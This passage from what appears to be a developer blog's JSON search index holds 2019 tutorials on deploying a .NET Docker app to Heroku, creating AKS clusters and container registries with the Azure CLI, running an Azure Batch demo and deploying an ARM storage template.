COPY . . RUN dotnet restore &#34;FuraFila.WebApp\/FuraFila.WebApp.csproj&#34; WORKDIR &#34;\/src\/FuraFila.WebApp&#34; RUN dotnet build &#34;FuraFila.WebApp.csproj&#34; -c Release -o \/app RUN dotnet ef database update FROM build AS publish RUN dotnet publish &#34;FuraFila.WebApp.csproj&#34; -c Release -o \/app FROM base AS final WORKDIR \/app COPY --from=publish \/app . CMD export ASPNETCORE_URLS=http:\/\/*:$PORT RUN echo &#39;we are running some # of cool things&#39; CMD ASPNETCORE_URLS=http:\/\/*:$PORT dotnet FuraFila.WebApp.dll Also a sample Dockerfile can be found in my personal Github account.\nPushing thing to Heroku Container Registry #Open your CLI (Command Line Tool), such as bash or command prompt and execute the following steps.\n#first login into heroku CLI heroku login #build your docker image docker build -t rick\/furafila:heroku -f Dockerfile.heroku . #test your docker image. This step it&#39;s not necessary docker run -p 5000:5000 -d -e PORT=5000 rick\/furafila:heroku #tag your docker image docker tag rick\/furafila:heroku registry.heroku.com\/rick-furafila\/web By the way, rick\/furafila:heroku is the name of my application. Don&rsquo;t forget to replace with yours.\n#if you are not logged in into Heroku Container Registry. heroku container:login #pushing to Heroku cloud docker push registry.heroku.com\/rick-furafila\/web Releasing it to live #Finally tell Heroku to release it to live environment.\nheroku container:release web -a rick-furafila Now you&rsquo;re free :)\nBased on articles # https:\/\/blog.devcenter.co\/deploy-asp-net-core-2-0-apps-on-heroku-eea8efd918b6 https:\/\/codeburst.io\/accessing-heroku-config-variables-in-your-vue-webpack-app-145afb32dd67 ","date":"August 18, 2019","permalink":"https:\/\/rmauro.dev\/deploying-net-container-app-to-heroku-cloud\/","section":"Posts","summary":"<p>I&rsquo;m tired of searching every time I need to deploy to heroku cloud. Being that said I&rsquo;m finally writing down the steps do deploy a docker container app to Heroku cloud.<\/p>\n<p>By the way, Heroku Cloud it is really cool.<\/p>\n<h3 id=\"requirements-to-deploy\" class=\"relative group\">Requirements to deploy <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#requirements-to-deploy\" aria-label=\"Anchor\">#<\/a><\/span><\/h3><ul>\n<li>Docker client (windows or linux) installed <a href=\"https:\/\/docs.docker.com\/docker-for-windows\/install\/\" target=\"_blank\" rel=\"noreferrer\">Link<\/a><\/li>\n<li>Heroku CLI (command line interface) installed <a href=\"https:\/\/devcenter.heroku.com\/articles\/heroku-cli\" target=\"_blank\" rel=\"noreferrer\">Link<\/a><\/li>\n<li>Application with a Dockerfile<\/li>\n<\/ul>\n<h3 id=\"changes-you-have-to-make-in-your-dockerfile\" class=\"relative group\">Changes you have to make in your Dockerfile <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#changes-you-have-to-make-in-your-dockerfile\" aria-label=\"Anchor\">#<\/a><\/span><\/h3><p>First remove the <code>Entrypoint<\/code> and <code>EXPOSE<\/code> statments of your Dockerfile.<\/p>","title":"Deploying .Net container App to Heroku cloud"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/heroku\/","section":"Tags","summary":"","title":"Heroku"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/az-cli\/","section":"Tags","summary":"","title":"Az-Cli"},{"content":"Steps to create Azure Kubernet Services (AKS) though azure cli tool.\nDemo 1 #\/\/ Create resource group az group create --name kbgroup2 --location eastus \/\/ Create AKS cluster az aks create \\ --resource-group kbgroup2 \\ --name kbcluster2 \\ --node-count 1 \\ --enable-addons monitoring \\ --generate-ssh-keys Connect to the cluster ##if you&#39;re in Azure Cloud Shell skip this step az aks install-cli #getting the credentials az aks get-credentials \\ --resource-group kbgroup2 \\ --name kbcluster2 kubectl get nodes Save the file deployment.yaml with the following contents.\napiVersion: apps\/v1beta1 kind: Deployment metadata: name: azure-vote-back spec: replicas: 1 template: metadata: labels: app: azure-vote-back spec: nodeSelector: &#34;beta.kubernetes.io\/os&#34;: linux containers: - name: azure-vote-back image: redis ports: - containerPort: 6379 name: redis --- apiVersion: v1 kind: Service metadata: name: azure-vote-back spec: ports: - port: 6379 selector: app: azure-vote-back --- apiVersion: apps\/v1beta1 kind: Deployment metadata: name: azure-vote-front spec: replicas: 1 strategy: rollingUpdate: maxSurge: 1 maxUnavailable: 1 minReadySeconds: 5 template: metadata: labels: app: azure-vote-front spec: nodeSelector: &#34;beta.kubernetes.io\/os&#34;: linux containers: - name: azure-vote-front image: microsoft\/azure-vote-front:v1 ports: - containerPort: 80 resources: requests: cpu: 250m limits: cpu: 500m env: - name: REDIS value: &#34;azure-vote-back&#34; --- apiVersion: v1 kind: Service metadata: name: azure-vote-front spec: type: LoadBalancer ports: - port: 80 selector: app: azure-vote-front Deploy the application #\/\/ Get a list of cluster nodes kubectl get nodes \/\/ Run the application kubectl apply \u2013f deployment.yaml Monitor progress of the deployment #\/\/ Monitor progress of the deployment kubectl get service azure-vote-front --watch \/\/ View pods related to this deployment kubectl get pods -l app=azure-vote-front Demo 2 (Create an ACR account though Azure CLI) #\/\/ Create an ACR instance az acr create \\ --resource-group kbgroup2 \\ --name acrdemo002 \\ --sku Basic \/\/ Login to ACR az acr login --name acrdemo002 Build Image to publish to ACR #\/\/ Pull existing Docker image docker pull microsoft\/aci-helloworld \/\/ Obtain the full login server name of the ACR instance az acr list --resource-group kbgroup2 --query &#34;[].{acrLoginServer:loginServer}&#34; --output table \/\/ Tag image with full login server name prefix docker tag microsoft\/aci-helloworld &lt;acrLoginServer&gt;\/aci-helloworld:v1 \/\/ login into acr az acr login \/\/ Push image to ACR docker push &lt;acrLoginServer&gt;\/aci-helloworld:v1 View deployment images #\/\/ List container images az acr repository list --name acrdemo002 --output table \/\/ List the tags on the aci-helloworld repository az acr repository show-tags --name acrdemo002 --repository aci-helloworld --output table Deploy an image to ACR by using Azure CLI #\/\/ Enable admin user az acr update --name acrdemo002 --admin-enabled true \/\/ Query for the password az acr credential show --name acrdemo002 --query &#34;passwords[0].value&#34; \/\/ Deploy container image az container create --resource-group kbgroup2 --name acr-quickstart --image &lt;acrLoginServer&gt;\/aci-helloworld:v1 --cpu 1 --memory 1 --registry-username acrdemo002 --registry-password &lt;acrPassword&gt; --dns-name-label acrdemo002 --ports 80 \/\/ View container FQDN az container show --resource-group kbgroup2 --name acr-quickstart --query instanceView.state Demo 3 - Create Container from Dockerfile #Run\ngit clone https:\/\/github.com\/Azure-Samples\/aci-helloworld.git Build the image\n\/\/ Build your container docker build .\/aci-helloworld -t aci-tutorial-app \/\/confirm the builded image docker images \/\/something like \/\/aci-tutorial-app latest 5c745774dfa9 39 seconds ago 68.1 MB \/\/ Run your container locally docker run -d -p 8080:80 aci-tutorial-app \/\/ View running containers docker container ls -a \/\/tag as V2 docker tag aci-tutorial-app:latest acrdemo002.azurecr.io\/aci-tutorial-app:v2 \/\/push image to container registr docker push acrdemo002.azurecr.io\/aci-tutorial-app:v2 Deploy to container registry (ACI) #\/\/ Get name of container registry login server az acr show --name acrdemo002 --query loginServer \/\/ Get container registry password az acr credential show --name acrdemo002 --query &#34;passwords[0].value&#34; \/\/ Deploy container \/\/&lt;acrLoginServer&gt;\u00a0and\u00a0&lt;acrPassword&gt;\u00a0with the values that you obtained from cmds. \/\/&lt;acrName&gt;\u00a0the name of your container registry. \/\/&lt;aciDnsLabel&gt;\u00a0with desired DNS name az container create --resource-group kbgroup2 --name aci-tutorial-app --image &lt;acrLoginServer&gt;\/aci-tutorial-app:v2 --cpu 1 --memory 1 --registry-login-server &lt;acrLoginServer&gt; --registry-username &lt;acrName&gt; --registry-password &lt;acrPassword&gt; --dns-name-label &lt;aciDnsLabel&gt; --ports 80 Demo 4 - Implementing an application using Virtual Kublet #\/\/ Install Virtual Kubelete connector az aks install-connector --resource-group kbgroup2 --name kbcluster2 --connector-name virtual-kubelet --os-type Both Create a virtual-kubelet.yaml\napiVersion: apps\/v1beta1 kind: Deployment metadata: name: aci-helloworld spec: replicas: 1 template: metadata: labels: app: aci-helloworld spec: containers: - name: aci-helloworld image: microsoft\/aci-helloworld ports: - containerPort: 80 nodeSelector: kubernetes.io\/hostname: virtual-kubelet-virtual-kubelet-linux tolerations: - key: azure.com\/aci effect: NoSchedule Deploy it\n\/\/ Validate that Virtual Kubelet has been installed kubectl get nodes \/\/ Run application (Windos or Linux) kubectl create -f virtual-kubelet.yaml \/\/ View pods with the scheduled node kubectl get pods -o wide Refs.:\nhttps:\/\/docs.microsoft.com\/en-us\/azure\/aks\/kubernetes-walkthrough-portal#run-the-application\nhttps:\/\/docs.microsoft.com\/en-us\/azure\/aks\/kubernetes-walkthrough\n","date":"June 2, 2019","permalink":"https:\/\/rmauro.dev\/azure-kubernets-az-cli\/","section":"Posts","summary":"<p>Steps to create Azure Kubernet Services (AKS) though azure cli tool.<\/p>\n<h5 id=\"demo-1\" class=\"relative group\">Demo 1 <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#demo-1\" aria-label=\"Anchor\">#<\/a><\/span><\/h5><div class=\"highlight\"><pre tabindex=\"0\" class=\"chroma\"><code class=\"language-fallback\" data-lang=\"fallback\"><span class=\"line\"><span class=\"cl\">\/\/ Create resource group\n<\/span><\/span><span class=\"line\"><span class=\"cl\">az group create --name kbgroup2 --location eastus\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\/\/ Create AKS cluster\n<\/span><\/span><span class=\"line\"><span class=\"cl\">az aks create \\\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> --resource-group kbgroup2 \\\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> --name kbcluster2 \\\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> --node-count 1 \\\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> --enable-addons monitoring \\\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> --generate-ssh-keys\n<\/span><\/span><\/code><\/pre><\/div><h3 id=\"connect-to-the-cluster\" class=\"relative group\">Connect to the cluster <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#connect-to-the-cluster\" aria-label=\"Anchor\">#<\/a><\/span><\/h3><div class=\"highlight\"><pre tabindex=\"0\" class=\"chroma\"><code class=\"language-fallback\" data-lang=\"fallback\"><span class=\"line\"><span class=\"cl\">#if you&#39;re in  Azure Cloud Shell skip this step\n<\/span><\/span><span class=\"line\"><span class=\"cl\">az aks install-cli\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\">#getting the credentials\n<\/span><\/span><span class=\"line\"><span class=\"cl\">az aks get-credentials \\\n<\/span><\/span><span class=\"line\"><span class=\"cl\">--resource-group kbgroup2 \\\n<\/span><\/span><span class=\"line\"><span class=\"cl\">--name kbcluster2 \n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\">kubectl get nodes\n<\/span><\/span><\/code><\/pre><\/div><p>Save the file deployment.yaml with the following contents.<\/p>","title":"Azure Kubernets - az cli"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/kubernets\/","section":"Tags","summary":"","title":"Kubernets"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/azure-batch\/","section":"Tags","summary":"","title":"Azure-Batch"},{"content":"Creating the Resource Group #az group create --name &#34;az203_batch_demo001&#34; --location CentralUS Creating the storage account #az storage account create \\ --name az203batchstoragexd \\ --access-tier hot \\ --https-only true \\ --kind BlobStorage \\ --location CentralUS \\ --sku Standard_LRS \\ --resource-group az203_batch_demo001 Creating the Batch Account #az batch account create \\ --name az203batchaccountxd \\ --storage-account az203batchstoragexd \\ --resource-group az203_batch_demo001 \\ --location CentralUS Login and create the Pool #az batch account login \\ --name az203batchaccountxd \\ --resource-group az203_batch_demo001 \\ --shared-key-auth az batch pool create \\ --id mypool \\ --vm-size Standard_A1_v2 \\ --target-dedicated-nodes 2 \\ --image canonical:ubuntuserver:16.04-LTS \\ --node-agent-sku-id &#34;batch.node.ubuntu 16.04&#34; az batch pool show \\ --pool-id mypool \\ --query &#34;allocationState&#34; Creating the Job inside the Pool #az batch job create --id myjob --pool-id mypool Job Task (Execution commands) #for i in {1..4} do az batch task create \\ --task-id mytask$i \\ --job-id myjob \\ --command-line &#34;\/bin\/bash -c &#39;printenv | grep AZ_BATCH; sleep 90s&#39;&#34; done az batch task show \\ --job-id myjob \\ --task-id mytask1 az batch task file list \\ --job-id myjob \\ --task-id mytask1 \\ --output table az batch task file download \\ --job-id myjob \\ --task-id mytask1 \\ --file-path stdout.txt \\ --destination .\/stdout.txt After done experimenting #Don&rsquo;t forget to delete the resources created.\naz group delete --name az203_batch_demo001 --yes Refs.:\nhttps:\/\/docs.microsoft.com\/en-us\/azure\/batch\/quick-create-cli\n","date":"June 2, 2019","permalink":"https:\/\/rmauro.dev\/demo-azure-batch\/","section":"Posts","summary":"<h4 id=\"creating-the-resource-group\" class=\"relative group\">Creating the Resource Group <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#creating-the-resource-group\" aria-label=\"Anchor\">#<\/a><\/span><\/h4><div class=\"highlight\"><pre tabindex=\"0\" class=\"chroma\"><code class=\"language-fallback\" data-lang=\"fallback\"><span class=\"line\"><span class=\"cl\">az group create --name &#34;az203_batch_demo001&#34; --location CentralUS\n<\/span><\/span><\/code><\/pre><\/div><h4 id=\"creating-the-storage-account\" class=\"relative group\">Creating the storage account <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#creating-the-storage-account\" aria-label=\"Anchor\">#<\/a><\/span><\/h4><div class=\"highlight\"><pre tabindex=\"0\" class=\"chroma\"><code class=\"language-fallback\" data-lang=\"fallback\"><span class=\"line\"><span class=\"cl\">az storage account create \\\n<\/span><\/span><span class=\"line\"><span class=\"cl\">  --name az203batchstoragexd \\\n<\/span><\/span><span class=\"line\"><span class=\"cl\">  --access-tier hot \\\n<\/span><\/span><span class=\"line\"><span class=\"cl\">  --https-only true \\\n<\/span><\/span><span class=\"line\"><span class=\"cl\">  --kind BlobStorage \\\n<\/span><\/span><span class=\"line\"><span class=\"cl\">  --location CentralUS \\\n<\/span><\/span><span class=\"line\"><span class=\"cl\">  --sku Standard_LRS \\\n<\/span><\/span><span class=\"line\"><span class=\"cl\">  --resource-group az203_batch_demo001\n<\/span><\/span><\/code><\/pre><\/div><h4 id=\"creating-the-batch-account\" class=\"relative group\">Creating the Batch Account <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#creating-the-batch-account\" aria-label=\"Anchor\">#<\/a><\/span><\/h4><div class=\"highlight\"><pre tabindex=\"0\" class=\"chroma\"><code class=\"language-fallback\" data-lang=\"fallback\"><span class=\"line\"><span class=\"cl\">az batch account create \\\n<\/span><\/span><span class=\"line\"><span class=\"cl\">  --name az203batchaccountxd \\\n<\/span><\/span><span class=\"line\"><span class=\"cl\">  --storage-account az203batchstoragexd \\\n<\/span><\/span><span class=\"line\"><span class=\"cl\">  --resource-group az203_batch_demo001 \\\n<\/span><\/span><span class=\"line\"><span class=\"cl\">  --location CentralUS\n<\/span><\/span><\/code><\/pre><\/div><h4 id=\"login-and-create-the-pool\" class=\"relative group\">Login and create the Pool <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#login-and-create-the-pool\" aria-label=\"Anchor\">#<\/a><\/span><\/h4><div class=\"highlight\"><pre tabindex=\"0\" class=\"chroma\"><code class=\"language-fallback\" data-lang=\"fallback\"><span class=\"line\"><span class=\"cl\">az batch account login \\\n<\/span><\/span><span class=\"line\"><span class=\"cl\">  --name az203batchaccountxd \\\n<\/span><\/span><span class=\"line\"><span class=\"cl\">  --resource-group az203_batch_demo001 \\\n<\/span><\/span><span class=\"line\"><span class=\"cl\">  --shared-key-auth\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> \n<\/span><\/span><span class=\"line\"><span class=\"cl\">az batch pool create \\\n<\/span><\/span><span class=\"line\"><span class=\"cl\">  --id mypool \\\n<\/span><\/span><span class=\"line\"><span class=\"cl\">  --vm-size Standard_A1_v2 \\\n<\/span><\/span><span class=\"line\"><span class=\"cl\">  --target-dedicated-nodes 2 \\\n<\/span><\/span><span class=\"line\"><span class=\"cl\">  --image canonical:ubuntuserver:16.04-LTS \\\n<\/span><\/span><span class=\"line\"><span class=\"cl\">  --node-agent-sku-id &#34;batch.node.ubuntu 16.04&#34;\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> \n<\/span><\/span><span class=\"line\"><span class=\"cl\">az batch pool show \\\n<\/span><\/span><span class=\"line\"><span class=\"cl\">  --pool-id mypool \\\n<\/span><\/span><span class=\"line\"><span class=\"cl\">  --query &#34;allocationState&#34;\n<\/span><\/span><\/code><\/pre><\/div><h4 id=\"creating-the-job-inside-the-pool\" class=\"relative group\">Creating the Job inside the Pool <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#creating-the-job-inside-the-pool\" aria-label=\"Anchor\">#<\/a><\/span><\/h4><div class=\"highlight\"><pre tabindex=\"0\" class=\"chroma\"><code class=\"language-fallback\" data-lang=\"fallback\"><span class=\"line\"><span class=\"cl\">az batch job create --id myjob --pool-id mypool\n<\/span><\/span><\/code><\/pre><\/div><h6 id=\"job-task-execution-commands\" class=\"relative group\">Job Task (Execution commands) <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#job-task-execution-commands\" aria-label=\"Anchor\">#<\/a><\/span><\/h6><div class=\"highlight\"><pre tabindex=\"0\" class=\"chroma\"><code class=\"language-gdscript3\" data-lang=\"gdscript3\"><span class=\"line\"><span class=\"cl\"><span class=\"k\">for<\/span> <span class=\"n\">i<\/span> <span class=\"ow\">in<\/span> <span class=\"p\">{<\/span><span class=\"mf\">1.<\/span><span class=\"o\">.<\/span><span class=\"mi\">4<\/span><span class=\"p\">}<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"k\">do<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">   <span class=\"n\">az<\/span> <span class=\"n\">batch<\/span> <span class=\"n\">task<\/span> <span class=\"n\">create<\/span> \\\n<\/span><\/span><span class=\"line\"><span class=\"cl\">    <span class=\"o\">--<\/span><span class=\"n\">task<\/span><span class=\"o\">-<\/span><span class=\"n\">id<\/span> <span class=\"n\">mytask<\/span><span class=\"o\">$<\/span><span class=\"n\">i<\/span> \\\n<\/span><\/span><span class=\"line\"><span class=\"cl\">    <span class=\"o\">--<\/span><span class=\"n\">job<\/span><span class=\"o\">-<\/span><span class=\"n\">id<\/span> <span class=\"n\">myjob<\/span> \\\n<\/span><\/span><span class=\"line\"><span class=\"cl\">    <span class=\"o\">--<\/span><span class=\"n\">command<\/span><span class=\"o\">-<\/span><span class=\"n\">line<\/span> <span class=\"s2\">&#34;\/bin\/bash -c &#39;printenv | grep AZ_BATCH; sleep 90s&#39;&#34;<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"n\">done<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> \n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"n\">az<\/span> <span class=\"n\">batch<\/span> <span class=\"n\">task<\/span> <span class=\"n\">show<\/span> \\\n<\/span><\/span><span class=\"line\"><span class=\"cl\">     <span class=\"o\">--<\/span><span class=\"n\">job<\/span><span class=\"o\">-<\/span><span class=\"n\">id<\/span> <span class=\"n\">myjob<\/span> \\\n<\/span><\/span><span class=\"line\"><span class=\"cl\">     <span class=\"o\">--<\/span><span class=\"n\">task<\/span><span class=\"o\">-<\/span><span class=\"n\">id<\/span> <span class=\"n\">mytask1<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> \n<\/span><\/span><span class=\"line\"><span class=\"cl\"> \t\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"n\">az<\/span> <span class=\"n\">batch<\/span> <span class=\"n\">task<\/span> <span class=\"n\">file<\/span> <span class=\"n\">list<\/span> \\\n<\/span><\/span><span class=\"line\"><span class=\"cl\">     <span class=\"o\">--<\/span><span class=\"n\">job<\/span><span class=\"o\">-<\/span><span class=\"n\">id<\/span> <span class=\"n\">myjob<\/span> \\\n<\/span><\/span><span class=\"line\"><span class=\"cl\">     <span class=\"o\">--<\/span><span class=\"n\">task<\/span><span class=\"o\">-<\/span><span class=\"n\">id<\/span> <span class=\"n\">mytask1<\/span> \\\n<\/span><\/span><span class=\"line\"><span class=\"cl\">     <span class=\"o\">--<\/span><span class=\"n\">output<\/span> <span class=\"n\">table<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> \n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"n\">az<\/span> <span class=\"n\">batch<\/span> <span class=\"n\">task<\/span> <span class=\"n\">file<\/span> <span class=\"n\">download<\/span> \\\n<\/span><\/span><span class=\"line\"><span class=\"cl\">     <span class=\"o\">--<\/span><span class=\"n\">job<\/span><span class=\"o\">-<\/span><span class=\"n\">id<\/span> <span class=\"n\">myjob<\/span> \\\n<\/span><\/span><span class=\"line\"><span class=\"cl\">     <span class=\"o\">--<\/span><span class=\"n\">task<\/span><span class=\"o\">-<\/span><span class=\"n\">id<\/span> <span class=\"n\">mytask1<\/span> \\\n<\/span><\/span><span class=\"line\"><span class=\"cl\">     <span class=\"o\">--<\/span><span class=\"n\">file<\/span><span class=\"o\">-<\/span><span class=\"n\">path<\/span> <span class=\"n\">stdout<\/span><span class=\"o\">.<\/span><span class=\"n\">txt<\/span> \\\n<\/span><\/span><span class=\"line\"><span class=\"cl\">     <span class=\"o\">--<\/span><span class=\"n\">destination<\/span> <span class=\"o\">.\/<\/span><span class=\"n\">stdout<\/span><span class=\"o\">.<\/span><span class=\"n\">txt<\/span>\n<\/span><\/span><\/code><\/pre><\/div><h3 id=\"after-done-experimenting\" class=\"relative group\">After done experimenting <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#after-done-experimenting\" aria-label=\"Anchor\">#<\/a><\/span><\/h3><p>Don&rsquo;t forget to delete the resources created.<\/p>","title":"Demo - Azure Batch"},{"content":"The resource file azuredeploy.json\n{ &#34;$schema&#34;: &#34;https:\/\/schema.management.azure.com\/schemas\/2015-01-01\/deploymentTemplate.json#&#34;, &#34;contentVersion&#34;: &#34;1.0.0.0&#34;, &#34;parameters&#34;: { &#34;storageAccountType&#34;: { &#34;type&#34;: &#34;string&#34;, &#34;defaultValue&#34;: &#34;Standard_LRS&#34;, &#34;allowedValues&#34;: [ &#34;Standard_LRS&#34;, &#34;Standard_GRS&#34;, &#34;Standard_ZRS&#34;, &#34;Premium_LRS&#34; ], &#34;metadata&#34;: { &#34;description&#34;: &#34;Storage Account type&#34; } }, &#34;location&#34;: { &#34;type&#34;: &#34;string&#34;, &#34;defaultValue&#34;: &#34;[resourceGroup().location]&#34;, &#34;metadata&#34;: { &#34;description&#34;: &#34;Location for all resources.&#34; } } }, &#34;variables&#34;: { &#34;storageAccountName&#34;: &#34;[concat(&#39;store&#39;, uniquestring(resourceGroup().id))]&#34; }, &#34;resources&#34;: [ { &#34;type&#34;: &#34;Microsoft.Storage\/storageAccounts&#34;, &#34;name&#34;: &#34;[variables(&#39;storageAccountName&#39;)]&#34;, &#34;location&#34;: &#34;[parameters(&#39;location&#39;)]&#34;, &#34;apiVersion&#34;: &#34;2018-07-01&#34;, &#34;sku&#34;: { &#34;name&#34;: &#34;[parameters(&#39;storageAccountType&#39;)]&#34; }, &#34;kind&#34;: &#34;StorageV2&#34;, &#34;properties&#34;: {} } ], &#34;outputs&#34;: { &#34;storageAccountName&#34;: { &#34;type&#34;: &#34;string&#34;, &#34;value&#34;: &#34;[variables(&#39;storageAccountName&#39;)]&#34; }, &#34;storageUri&#34;: { &#34;type&#34;:&#34;string&#34;, &#34;value&#34;:&#34;[reference(variables(&#39;storageAccountName&#39;)).primaryEndpoints.blob]&#34; } } } Go to https:\/\/shell.azure.com and open your subscription.\nIn bash format (not PowerShell) run the following scripts.\nFirst - Create the Resource Group if doesn&rsquo;t exist\naz group create --name ExampleGroup --location &#34;Central US&#34; Second - Upload the json file into the storage account of shell\nSelect the template file to be uploaded\nFinally - Deploy the resources into the Resource Group created\naz group deployment create \\ --name ExampleDeployment \\ --resource-group ExampleGroup \\ --template-file azuredeploy.json \\ --parameters storageAccountType=Standard_GRS Parameters file #The parameters file can be used to pass parameters instead of command line.\nName: azuredeploy.parameters.json\n{ &#34;$schema&#34;: &#34;https:\/\/schema.management.azure.com\/schemas\/2015-01-01\/deploymentParameters.json#&#34;, &#34;contentVersion&#34;: &#34;1.0.0.0&#34;, &#34;parameters&#34;: { &#34;storageAccountType&#34;: { &#34;value&#34;: &#34;Standard_GRS&#34; } } } The command change a little.\naz group deployment create \\ --name ExampleDeployment \\ --resource-group ExampleGroup \\ --template-file azuredeploy.json \\ --parameters azuredeploy.parameters.json Sample Azure Storage template #https:\/\/raw.githubusercontent.com\/Azure\/azure-quickstart-templates\/master\/101-storage-account-create\/azuredeploy.json\n","date":"June 2, 2019","permalink":"https:\/\/rmauro.dev\/azcli-create-resource-though-resource-file\/","section":"Posts","summary":"<p>The resource file <code>azuredeploy.json<\/code><\/p>\n<div class=\"highlight\"><pre tabindex=\"0\" class=\"chroma\"><code class=\"language-gdscript3\" data-lang=\"gdscript3\"><span class=\"line\"><span class=\"cl\"><span class=\"p\">{<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">  <span class=\"s2\">&#34;$schema&#34;<\/span><span class=\"p\">:<\/span> <span class=\"s2\">&#34;https:\/\/schema.management.azure.com\/schemas\/2015-01-01\/deploymentTemplate.json#&#34;<\/span><span class=\"p\">,<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">  <span class=\"s2\">&#34;contentVersion&#34;<\/span><span class=\"p\">:<\/span> <span class=\"s2\">&#34;1.0.0.0&#34;<\/span><span class=\"p\">,<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">  <span class=\"s2\">&#34;parameters&#34;<\/span><span class=\"p\">:<\/span> <span class=\"p\">{<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">    <span class=\"s2\">&#34;storageAccountType&#34;<\/span><span class=\"p\">:<\/span> <span class=\"p\">{<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">      <span class=\"s2\">&#34;type&#34;<\/span><span class=\"p\">:<\/span> <span class=\"s2\">&#34;string&#34;<\/span><span class=\"p\">,<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">      <span class=\"s2\">&#34;defaultValue&#34;<\/span><span class=\"p\">:<\/span> <span class=\"s2\">&#34;Standard_LRS&#34;<\/span><span class=\"p\">,<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">      <span class=\"s2\">&#34;allowedValues&#34;<\/span><span class=\"p\">:<\/span> <span class=\"p\">[<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">        <span class=\"s2\">&#34;Standard_LRS&#34;<\/span><span class=\"p\">,<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">        <span class=\"s2\">&#34;Standard_GRS&#34;<\/span><span class=\"p\">,<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">        <span class=\"s2\">&#34;Standard_ZRS&#34;<\/span><span class=\"p\">,<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">        <span class=\"s2\">&#34;Premium_LRS&#34;<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">      <span class=\"p\">],<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">      <span class=\"s2\">&#34;metadata&#34;<\/span><span class=\"p\">:<\/span> <span class=\"p\">{<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">        <span class=\"s2\">&#34;description&#34;<\/span><span class=\"p\">:<\/span> <span class=\"s2\">&#34;Storage Account type&#34;<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">      <span class=\"p\">}<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">    <span class=\"p\">},<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">    <span class=\"s2\">&#34;location&#34;<\/span><span class=\"p\">:<\/span> <span 